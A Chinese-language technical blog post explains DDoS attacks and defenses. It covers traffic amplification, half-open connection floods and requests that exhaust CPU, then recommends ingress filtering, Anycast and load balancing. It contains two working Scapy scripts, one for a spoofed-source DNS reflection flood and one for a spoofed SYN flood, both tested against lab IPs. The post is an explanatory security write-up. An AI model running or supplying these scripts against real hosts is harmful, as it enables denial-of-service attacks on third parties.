Loading... 这次聊一聊让人脑阔疼又熟悉的DDOS拒绝服务攻击,当我们想要搞清楚怎么防御,首先要搞清楚怎么攻击,什么原理才行。按DDOS的攻击特点,我把它分为三类,基于流量、基于半连接、还有一种发起计算量大的请求来跑死cpu。 另外攻击成本也有高低之分。下面就先详细的介绍下DDOS的这几种方式。 申明: 一切攻击行为都会触犯法律,本文只用于技术探讨。如有恶意行为触发法律,后果自负。 # 一、DDOS攻击方式 ## 流量(放大攻击) ### 1、原理解析 通过大量流量对靶机造成拒绝服务现象。怎么才能拥有大量流量,肉鸡、购买带宽、以及使用他人网速,前两者不属于放大攻击,只有最后一个才是放大攻击。这里我利用DNS作为流量放大的载体在内网测试机上进行测试。原理就是修改自己源ip为靶机的ip,再发起DNS请求,利用DNS服务器响应发送解析数据给靶机,原理如下图所示。  ### 2、攻击测试 通过scapy构造网络包,如下为测试用的代码以及自定义域名: ```python #!/usr/bin/env python3 #coding=utf-8 import time import random from scapy.all import * dns_server = '192.168.202.50' attack_ip = '192.168.200.79' #定义DNS域名查询时请求的记录类型,根据DNS协议 query_type_dic = {'A':1,'AAAA':28,'PTR':12,'CNAME':5,'NS':2} #发包实现函数 def attack(dns_server,client_ip,domain,query_type): for sPort in range(1024,65535): a = IP(dst=dns_server,src=client_ip) b = UDP(sport=sPort,dport=53) c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0) c.qd = DNSQR(qname=domain,qtype=query_type,qclass=1) p = a/b/c send(p) attack(dns_server,attack_ip,'www.server.com',1) time.sleep(0.02) ``` ### 3、测试结果 流量情况如下图,ddos_attack为攻击机发起的dns请求使用的流量为142K,ddos_test为靶机几乎等于单台ddos_dns服务器的流量为229K,大于攻击机。可能有人会好奇,为啥攻击机的下载流量也变高了,这是因为我宿主机开启了混杂模式。忽略即可。另外还有人可能会问只有几百K,也不是很多么!我解释下,首先我们脚本模拟ddos攻击,并没用并发,每次解析还停顿了0.02秒,而且我只用了一台内网DNS服务器,对自己环境还是得温柔些,再者就是测试环境解析用的正向解析,解析出来的也就多个ip信息,所以相差也不大。如果通过ip地址进行反向解析且解析出来的域名特别长,或者可用于txt记录的CNAME解析那这个流量对比就更会更加明显。 除了利用DNS进行流量放大,其他UDP协议也支持流量放大,可以参考下面倍数统计表。最高的是memcached服务。  <img src="https://storage.bbcking5.com/%E6%96%87%E7%AB%A0%E5%86%85%E9%83%A8%E5%9B%BE/ddos%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E5%BE%A1/%E5%80%8D%E6%95%B0%E7%BB%9F%E8%AE%A1%E8%A1%A8.png-wuxingyuwordpresspic" alt="Alt text" title="倍数统计表" style="zoom:50%;" style=""> ## 半连接(挤占连接) ### 1、原理解析 原理其实和DNS放大攻击一样,都是通过伪造源ip和源端口来实现。攻击机只发送随机伪造的源ip的SYN包,无需等待剩下两次握手,而靶机却要向伪造的源ip发出SYN-ACK 并等待连接响应,等待时间取决于/proc/sys/net/ipv4/tcp_syn_retries次数,一般默认为5次,则时间趋近于 1+2+4+8+16+32=63 秒。在这时间内将一直占用半连接队列,非常消耗靶机资源。攻击原理如下图所示。  ### 2、攻击测试 通过scapy构造网络包,如下为测试用的代码: ```python import random from scapy.all import * import time def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet) #time.sleep(0.002) synFlood('192.168.200.79',80) ``` ### 3、测试结果 连接情况如下图,攻击机发起syn请求后可以主动放弃等待,但是靶机却要等满时间才能断开握手连接,直至连接数被打满。  ## 干死CPU 很多业务后端都是调用其他中间件,攻击者会通过调试接口,找到相对消耗靶机计算资源或者io资源的接口,然后进行大量的请求。来达到靶机拒绝服务的目的。这个测试环境搞起来太费劲,不做演示。 ## 攻击成本 大多ddos攻击可以以一敌百,属于超级廉价的攻击方式,缺点就是一个流量清洗设备就能抵抗。那攻击者怎么样才能击破流量清洗设备呢,那就是肉鸡,购买无穷多的肉鸡发起真实客户访问。但是这种方式是有成本的,傻子才会做亏本买卖,所以一般没有背后的利益很少会说自己网站被攻击。 # 二、如何防御 抛开高成本的大量肉鸡,大多DDOS攻击都是通过伪造源IP来实现的,在互联网环境中需要ISP提供入口过滤,将带有伪造 IP 地址的所有内部流量。如果一个从网络内部发送的数据包带有一个看起来像来自网络外部的源地址,那么它就有可能是伪造数据包并可被丢弃。比如开启源地址验证失败(SAVF)功能。 其次也可以使用Anycast 网络把所有攻击流量分散到不再具有破坏力的地步,实现缓解攻击的效果。 攻击者如果就舍得花钱,那怎么防呢?防火墙拉黑,或者通过LVS、Nginx、Haproxy、F5 等负载均衡进行横向扩展应用来缓解。说白了就是拼钱,等拼到了攻击者觉得攻击对方的成本高于他们将获得的利益,他们就会放弃了。 # 三、总结 DDOS攻击实现难度不大,危害却很大。感兴趣的可以自建一下内网环境进行测试,请勿用于互联网环境。请对法律抱有敬畏之心,勿触犯法律。 本着学习交流心态,和大家技术分享和探讨,感谢看到最后的小伙伴!文章中哪里有不对的欢迎留言指正,互相学习。 Last modification:June 4, 2024 © Allow specification reprint Like 如果觉得我的文章对你有用,请随意赞赏